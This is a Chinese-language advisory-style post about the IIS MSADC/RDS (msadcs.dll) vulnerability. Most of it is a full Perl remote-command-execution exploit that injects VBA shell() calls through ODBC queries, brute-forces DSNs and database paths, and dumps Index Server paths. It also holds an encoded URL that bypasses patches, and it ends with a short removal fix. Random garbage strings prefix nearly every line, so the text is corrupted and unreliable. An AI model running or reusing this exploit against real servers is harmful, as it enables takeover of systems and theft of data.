IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
1(T2:N(M-A ( 5Q< xJ 涉及程序：
a3M I+ Microsoft NT server
W Pr :d F(/<ADx 描述：
ul_E{v 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
*"_W1}^ pLF,rOb 详细：
'W9[ Vm 如果你没有时间读详细内容的话，就删除:
qF(i1# c:\Program Files\Common Files\System\Msadc\msadcs.dll
M9fQ,<c<6 有关的安全问题就没有了。
6:}n}q,V aUa+]H[ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
rkWy3X{%2< 7]?y
_%kT 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
C[Q4OAFG 关于利用ODBC远程漏洞的描述，请参看:
U:7w 8$_ F> Ika=z, http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm bYQ@! jdVj
FCl^# 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
1Z_w2D* http://www.microsoft.com/security/bulletins/MS99-025faq.asp QhTn 9S:D {G3Ok++hc 这里不再论述。
5ad@}7& 0#Us * :[6 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
*uK!w(;2 i 4> M /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
D U ,B 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
WRbdv{ 1E p"6[ S v0 \M$@N[ #将下面这段保存为txt文件，然后: "perl -x 文件名"
E*T6kp^b 9-{.W Z #!perl
| *ZM{$ #
.#tA .%
# MSADC/RDS 'usage' (aka exploit) script
!a V:T&6 #
N @Ap|`Ei # by rain.forest.puppy
< <0[PJ #
>\'}&oi # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
{%('|(57 # beta test and find errors!
$!p2Kf>/Q @Kt!uKrI use Socket; use Getopt::Std;
3:$@DZT$ getopts("e:vd:h:XR", \%args);
%kkDitmI{ r&v!2A]: print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
U . <c#S Hxac#(,7 if (!defined $args{h} && !defined $args{R}) {
sng 6U;Z print qq~
&09~ D8f' Usage: msadc.pl -h <host> { -d <delay> -X -v }
O:, Gmft + -h <host> = host you want to scan (ip or domain)
?G9DSk?6%Z -d <seconds> = delay between calls, default 1 second
gL|
9hvHr[ -X = dump Index Server path table, if available
01
+#2~S -v = verbose
BUi,+NdIk -e = external dictionary file for step 5
Cv>~%< TL"+Iv2]/$ Or a -R will resume a command session
#NMQN*J>D }YC =q ~; exit;}
X}={:T+6s `; R$Ji=> $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
]{|l4e4P if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
w0=/V[fs if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
\zA3H$Df~ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Fm&f $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
'>bn94$ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
F|VHr@% GM^H
)8U if (!defined $args{R}){ $ret = &has_msadc;
!3c+}j -j die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
v?nGAn ,B x0 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
=b )!l9TX . "cmd /c ";
(yEU9R$I" $in=<STDIN>; chomp $in;
71<4q {n $command="cmd /c " . $in ;
tmoclK - -c0 *
if (defined $args{R}) {&load; exit;}
xjxX4_ Om7 '_} print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
MdkL_YP}. &try_btcustmr;
\q!TI x 06pY10 <>X print "\nStep 2: Trying to make our own DSN...";
nC$ c.K' &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
=(c.8d D&N3LH print "\nStep 3: Trying known DSNs...";
vgNrHq&2q &known_dsn;
h^WMv
*2 C^] UK print "\nStep 4: Trying known .mdbs...";
PK{FQ3b2{ &known_mdb;
HDE5Mg " ]d|M@v~c4 if (defined $args{e}){
hf)R PG& print "\nStep 5: Trying dictionary of DSN names...";
N /2WUp &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
CAA 3-"Cwi -0CL#RzKR print "Sorry Charley...maybe next time?\n";
IY}GU 2# exit;
WwKpZ67$R 3-0 jxx( ##############################################################################
n0':6*oGW : IsJE6r sub sendraw { # ripped and modded from whisker
$ b_~ sleep($delay); # it's a DoS on the server! At least on mine...
U+ D# my ($pstr)=@_;
&d!ASa socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
>N~jlr | die("Socket problems\n");
pZc` !f " if(connect(S,pack "SnA4x8",2,80,$target)){
5Ktll~+:# select(S); $|=1;
-
ikq#L){ print $pstr; my @in=<S>;
m+pK,D~{" select(STDOUT); close(S);
WdJeh:h return @in;
?WS.RB e2 } else { die("Can't connect...\n"); }}
0!axAvBV
n:<Xp[;R ##############################################################################
9(a* 0H Q"LlBp>t|# sub make_header { # make the HTTP request
_$}@hD*R~ my $msadc=<<EOT
E%f!SD POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
$S/WAw,/ User-Agent: ACTIVEDATA
C}o^p"M*B3 Host: $ip
b!EqYT Content-Length: $clen
+&1#ob"6lq Connection: Keep-Alive
-)ri,v{:c ']X0g{% ADCClientVersion:01.06
'Ze&
LQ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
bg|=)sw4 [H`5mY @ --!ADM!ROX!YOUR!WORLD!
${t$:0R,h Content-Type: application/x-varg
]jmZ5h#[ Content-Length: $reqlen
_Mh..#)`[ =k!F`H`/%' EOT
uE#i3(
J ; $msadc=~s/\n/\r\n/g;
8rz ,MsFR return $msadc;}
pqbKPpG D/2 ;b;- ##############################################################################
u<+RA yzG BGC sub make_req { # make the RDS request
.+ic6 my ($switch, $p1, $p2)=@_;
b%j4W)Z my $req=""; my $t1, $t2, $query, $dsn;
uy=<n5`oNG #D+.z)iZn if ($switch==1){ # this is the btcustmr.mdb query
?/A ql_?3 $query="Select * from Customers where City=" . make_shell();
4`"Q!T_' $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
:|y tw= 3> $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
l2LO,j} 7'{Y7]+z+ elsif ($switch==2){ # this is general make table query
H Mfhe[A? $query="create table AZZ (B int, C varchar(10))";
^g+M=jq _ $dsn="$p1";}
ef:Zi_o !-B|x0fs elsif ($switch==3){ # this is general exploit table query
3-![% u $query="select * from AZZ where C=" . make_shell();
*+ O $dsn="$p1";}
o-AAx#@ A1j A$ elsif ($switch==4){ # attempt to hork file info from index server
V#DNcF~v]f $query="select path from scope()";
O ;#0Yg $dsn="Provider=MSIDXS;";}
"[ >ql1t{b Op iVQr: elsif ($switch==5){ # bad query
lYr W"(2 $query="select";
<+`}:
A $dsn="$p1";}
0 n)UvJ 6"bdbV=t $t1= make_unicode($query);
Hg[AulNna $t2= make_unicode($dsn);
~</H>Jd $req = "\x02\x00\x03\x00";
<QK2Wc_}-" $req.= "\x08\x00" . pack ("S1", length($t1));
4e|(= W` $req.= "\x00\x00" . $t1 ;
}M(XHw $req.= "\x08\x00" . pack ("S1", length($t2));
_^w^tfH] $req.= "\x00\x00" . $t2 ;
zhACNz4tJ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
7(zY:9|( return $req;}
SciEHI# "3a_C,\ ##############################################################################
VZU@G)rd wOl]N2< sub make_shell { # this makes the shell() statement
iM{aRFL return "'|shell(\"$command\")|'";}
h{VGh kU9f pW2-RHGJY ##############################################################################
\XG\ u|&a!tOf2 sub make_unicode { # quick little function to convert to unicode
!2=eau^p my ($in)=@_; my $out;
.iEzEm u for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
!*B1Eo--cN return $out;}
]1KF3$n0 4--[.j*W ##############################################################################
n{.SNipU }{) >aJ sub rdo_success { # checks for RDO return success (this is kludge)
0hju@& Aa my (@in) = @_; my $base=content_start(@in);
AkV8}>G?#A if($in[$base]=~/multipart\/mixed/){
Y/n],(t) return 1 if( $in[$base+10]=~/^\x09\x00/ );}
' $be+Z32 return 0;}
ljO t~@Ea 3C;nC?]K ##############################################################################
JwmH_nJ( 4kf8Am( sub make_dsn { # this makes a DSN for us
\&X*-T[]j my @drives=("c","d","e","f");
E#+|.0*!s print "\nMaking DSN: ";
+C9 l7 q foreach $drive (@drives) {
G(7WU Mjl print "$drive: ";
9GVv[/NAb my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
C %kI xa) "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
@EB2 I +[ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Z;GZ?NOlY $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
F%q}N,W return 0 if $2 eq "404"; # not found/doesn't exist
*Q 2}Qbu if($2 eq "200") {
]s:%joj%^ foreach $line (@results) {
=(>pv, return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
!qVnziE,, } return 0;}
8 gzf$Oc $r= tOD4; ##############################################################################
/%T d( .t|B6n! sub verify_exists {
=! |= Y@ my ($page)=@_;
'"Y(2grP my @results=sendraw("GET $page HTTP/1.0\n\n");
HFrwf {J return $results[0];}
JG!@(lr ir3EA'_>N ##############################################################################
G![JRJxQ SW_jTn#x sub try_btcustmr {
x1R< oB | my @drives=("c","d","e","f");
f^k H[C my @dirs=("winnt","winnt35","winnt351","win","windows");
=GSe$f? 5IiZnG u foreach $dir (@dirs) {
%13V @'e9 print "$dir -> "; # fun status so you can see progress
:B] yreg foreach $drive (@drives) {
*4| ]=yPU print "$drive: "; # ditto
@t?uhT*Z= $reqlen=length( make_req(1,$drive,$dir) ) - 28;
O0 ,=@nw8. $reqlenlen=length( "$reqlen" );
|4|j5<5 $clen= 206 + $reqlenlen + $reqlen;
I Z{DR l^E)XWd my @results=sendraw(make_header() . make_req(1,$drive,$dir));
c0 u1L@tj if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
YB'BAX<lI else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
xnD"LK 2uM\?*T@ ##############################################################################
0Wc8\c mR6hnKa_53 sub odbc_error {
]<I K0 my (@in)=@_; my $base;
$:SSm $k my $base = content_start(@in);
U/3 <p8 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
El#"vIg(\ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
3Ja1|;(2 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
rc +} KO $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
-yP_S~ \n return $in[$base+4].$in[$base+5].$in[$base+6];}
%T'<vw0 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
hTVA^j(w print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
r;c ILS|Xr $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
79O'S du@ E+e:UBeUV ##############################################################################
_Kf8,|+ e.jbFSnA sub verbose {
V+&C_PyC my ($in)=@_;
mJ L=H return if !$verbose;
|QB[f*y5 print STDOUT "\n$in\n";}
.7|Iausv %uy5la ##############################################################################
24 Uvi:B?~ 6#DDMP8;I sub save {
X{G&r $ my ($p1, $p2, $p3, $p4)=@_;
{ <1 ]cP open(OUT, ">rds.save") || print "Problem saving parameters...\n";
y $C\b\hM print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
ErXzKf close OUT;}
u</LgOP`- -oR P ZtW ##############################################################################
R /0zB ZF~@a+o sub load {
*'jI >^o my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
I$w:qS&: open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Iu| 4QE @p=<IN>; close(IN);
pDV8B/{ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
A{Dy3tm= $target= inet_aton($ip) || die("inet_aton problems");
bx8;`Q MX print "Resuming to $ip ...";
{YigB $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
K@>($BX] if($p[1]==1) {
HS
>B\Ip" $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
aT"0tn^LO $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
^(on"3sG my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
s2*~n_B if (rdo_success(@results)){print "Success!\n";}
-h8@B+ else { print "failed\n"; verbose(odbc_error(@results));}}
c 1 aIZ elsif ($p[1]==3){
[h[@? 8vB if(run_query("$p[3]")){
e> -fI_+b print "Success!\n";} else { print "failed\n"; }}
h"$ )[k~ elsif ($p[1]==4){
Z(:q.{"r if(run_query($drvst . "$p[3]")){
{ k8R6l1 print "Success!\n"; } else { print "failed\n"; }}
N83c+vs%c exit;}
hxe X6 e
.1!
K ##############################################################################
m;@8z[
^5 f1,VbuS9I sub create_table {
BOdd~f%&tn my ($in)=@_;
^2)<H7p $reqlen=length( make_req(2,$in,"") ) - 28;
xh|<`>5 $reqlenlen=length( "$reqlen" );
c%@<
h6 $clen= 206 + $reqlenlen + $reqlen;
&.1qixXIr my @results=sendraw(make_header() . make_req(2,$in,""));
$QB/n63 return 1 if rdo_success(@results);
Ev>P|k V&A my $temp= odbc_error(@results); verbose($temp);
@
q:S]YB return 1 if $temp=~/Table 'AZZ' already exists/;
&5d~ODO return 0;}
I t:,8 6%L#FS I ##############################################################################
!j%MN{ #a 51-@4E2:l: sub known_dsn {
Fv $oXg/ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
:e rfs}I my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
V
0z`p" "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
7 F> a&r "banner", "banners", "ads", "ADCDemo", "ADCTest");
K;j0cxl 45A|KaVpg foreach $dSn (@dsns) {
gJBw6'Z print ".";
<\`qRz0/ next if (!is_access("DSN=$dSn"));
"el}9OitC if(create_table("DSN=$dSn")){
~1:_w ni print "$dSn successful\n";
Xb2.t^
]f if(run_query("DSN=$dSn")){
7.FD16 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
_?v&\j print "Something's borked. Use verbose next time\n";}}} print "\n";}
7&&3@96<*# tE WolO[\ ##############################################################################
7A"v:e ,s`4k?y sub is_access {
4 @r76v}{ my ($in)=@_;
G3dA`3 $reqlen=length( make_req(5,$in,"") ) - 28;
w8}jmpnI $reqlenlen=length( "$reqlen" );
) m_q2xV $clen= 206 + $reqlenlen + $reqlen;
l/-qVAd !q my @results=sendraw(make_header() . make_req(5,$in,""));
wQX18aF/#d my $temp= odbc_error(@results);
~C uJ$(9Y verbose($temp); return 1 if ($temp=~/Microsoft Access/);
pS+hE4D return 0;}
Te2 C<c (tvfF0~ ##############################################################################
~$d(@T& N$N 7aE$ sub run_query {
kX%vTl7F my ($in)=@_;
g&I|@$\ $reqlen=length( make_req(3,$in,"") ) - 28;
bXi(]5 $reqlenlen=length( "$reqlen" );
suHi sc* $clen= 206 + $reqlenlen + $reqlen;
@Nn'G{8OG my @results=sendraw(make_header() . make_req(3,$in,""));
%>- ?oor return 1 if rdo_success(@results);
H5Bh?mw2 my $temp= odbc_error(@results); verbose($temp);
RA1K$D ?A return 0;}
nxMZd=Y o1R:1!"2 ##############################################################################
c2Wp 8l sB8v: sub known_mdb {
MO@XbPZB my @drives=("c","d","e","f","g");
{Y|?~h a# my @dirs=("winnt","winnt35","winnt351","win","windows");
u0F{.fe my $dir, $drive, $mdb;
MO%+rf0~w my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
9#E)H?`g 089v;
d 6 # this is sparse, because I don't know of many
'U-8w@\Z my @sysmdbs=( "\\catroot\\icatalog.mdb",
_ %G ;^ b "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
~S\8 ' "\\system32\\certmdb.mdb",
5a&BgBO1M "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
y({lE3P pi5DD K my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
[<WoXS1LX "\\cfusion\\cfapps\\forums\\forums_.mdb",
d kg|
kw' "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
uCoy~kt292 "\\cfusion\\cfapps\\security\\realm_.mdb",
ny:/a "\\cfusion\\cfapps\\security\\data\\realm.mdb",
jo'
V.]\ "\\cfusion\\database\\cfexamples.mdb",
J e 4hQJ<h "\\cfusion\\database\\cfsnippets.mdb",
o .( Gja4 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
G=er0(7< "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Rj3ad 3z'E "\\cfusion\\brighttiger\\database\\cleam.mdb",
KAgxIz!^-1 "\\cfusion\\database\\smpolicy.mdb",
|$g} &P8; "\\cfusion\\database\cypress.mdb",
_ rg*K "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
?[;>1+D "\\website\\cgi-win\\dbsample.mdb",
De2$:? "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
w=FU:q/ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
^l<!:SS ); #these are just
k}C4:?AT foreach $drive (@drives) {
pS2u&Y"u| foreach $dir (@dirs){
$[ oRbH8g foreach $mdb (@sysmdbs) {
Pkv+^[(4 print ".";
a 4n5i.; if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Ibg~.>.u{ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
'61>.u:2 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
"U/yq print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
oqo7Ge2 } else { print "Something's borked. Use verbose next time\n"; }}}}}
jq%}=-%KE tz5\O } foreach $drive (@drives) {
W ", yq| foreach $mdb (@mdbs) {
N:;z~` print ".";
.03Rp5+v if(create_table($drv . $drive . $dir . $mdb)){
tUt_Q;%yC print "\n" . $drive . $dir . $mdb . " successful\n";
p3> Md?e if(run_query($drv . $drive . $dir . $mdb)){
D#A6s32a print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
TKQ^D } else { print "Something's borked. Use verbose next time\n"; }}}}
J9MA nYd)i }
Ym.{
{^= ICiGZ'k ##############################################################################
gJ~CD1`O #r/5! *3 sub hork_idx {
h_]*|[g print "\nAttempting to dump Index Server tables...\n";
I^HwXp([ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
$z`l{F4eMf $reqlen=length( make_req(4,"","") ) - 28;
"L!U7|9J $reqlenlen=length( "$reqlen" );
N>CNgUyP $clen= 206 + $reqlenlen + $reqlen;
:| !5d{8S8 my @results=sendraw2(make_header() . make_req(4,"",""));
Sp2DpGs~ if (rdo_success(@results)){
3 . K #, my $max=@results; my $c; my %d;
> .I9S{7 for($c=19; $c<$max; $c++){
uA V7T /' $results[$c]=~s/\x00//g;
WrS>^\: $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
q\-P/aN_ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
zI\+]U' $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
U9K'O !i> $d{"$1$2"}="";}
t1NGs-S3 foreach $c (keys %d){ print "$c\n"; }
G;d3.ml/aZ } else {print "Index server doesn't seem to be installed.\n"; }}
~nb(e$?N SSq4KFO1 ##############################################################################
T0~~0G)k @1xIph<z sub dsn_dict {
z{ & z open(IN, "<$args{e}") || die("Can't open external dictionary\n");
qzEv!?)a while(<IN>){
&;~?\>?I $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
i[ > U#5 next if (!is_access("DSN=$dSn"));
^C92R"*Qu if(create_table("DSN=$dSn")){
fz A Fn$[ print "$dSn successful\n";
y` {|D* if(run_query("DSN=$dSn")){
bDm7$ ( print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
F` GXho[ print "Something's borked. Use verbose next time\n";}}}
*tv\5KW G print "\n"; close(IN);}
G 4rzx%W? hiE YIx ##############################################################################
mkhWbzD'S &er,Wyc( sub sendraw2 { # ripped and modded from whisker
7&9w_iCkV sleep($delay); # it's a DoS on the server! At least on mine...
pmOUl 8y4 my ($pstr)=@_;
9aNOfs8( socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
(#Xs\IEV F die("Socket problems\n");
=z]rZSq*o if(connect(S,pack "SnA4x8",2,80,$target)){
& H
P g> print "Connected. Getting data";
|sY open(OUT,">raw.out"); my @in;
)0DgFA6k_ select(S); $|=1; print $pstr;
E-( $Xc while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
T
"h jL close(OUT); select(STDOUT); close(S); return @in;
Pd-LDs+Ga } else { die("Can't connect...\n"); }}
BzS \p3& O=*, ##############################################################################
.YWkFT lZ+ !v(^wqna\ sub content_start { # this will take in the server headers
(
mn:!3H% my (@in)=@_; my $c;
EeT 69o for ($c=1;$c<500;$c++) {
gwdAf%|f if($in[$c] =~/^\x0d\x0a/){
Pouo# 5 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
1)jea wVmj else { return $c+1; }}}
`SOQPAnK+; return -1;} # it should never get here actually
RRpY%-8M ijUu{PG`X ##############################################################################
tTF< DD }8 <h ;_: sub funky {
`< g6^ P my (@in)=@_; my $error=odbc_error(@in);
rS+) )! if($error=~/ADO could not find the specified provider/){
{M7`"+~w print "\nServer returned an ADO miscofiguration message\nAborting.\n";
.6LRg exit;}
D9NQ3[R 9 if($error=~/A Handler is required/){
5gII|8>rQ print "\nServer has custom handler filters (they most likely are patched)\n";
m Rm }7p exit;}
oK
7:e~ if($error=~/specified Handler has denied Access/){
Dy>6L79G print "\nServer has custom handler filters (they most likely are patched)\n";
Jm#p!G+ exit;}}
ck%YEMs Vo+.s#wN`h ##############################################################################
9_nbMs '=%`;?j sub has_msadc {
vm{ 8x o my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
+2}cR66% my $base=content_start(@results);
4c95G^dZ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
D[?;+g/ return 0;}
idGn{f((f s^SU6P/ ] ########################
"(vK.-T Z^z{,
u;! 2~l7WW+lx, 解决方案：
F_9
4k 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
k52IvB@2 2、移除web 目录: /msadc
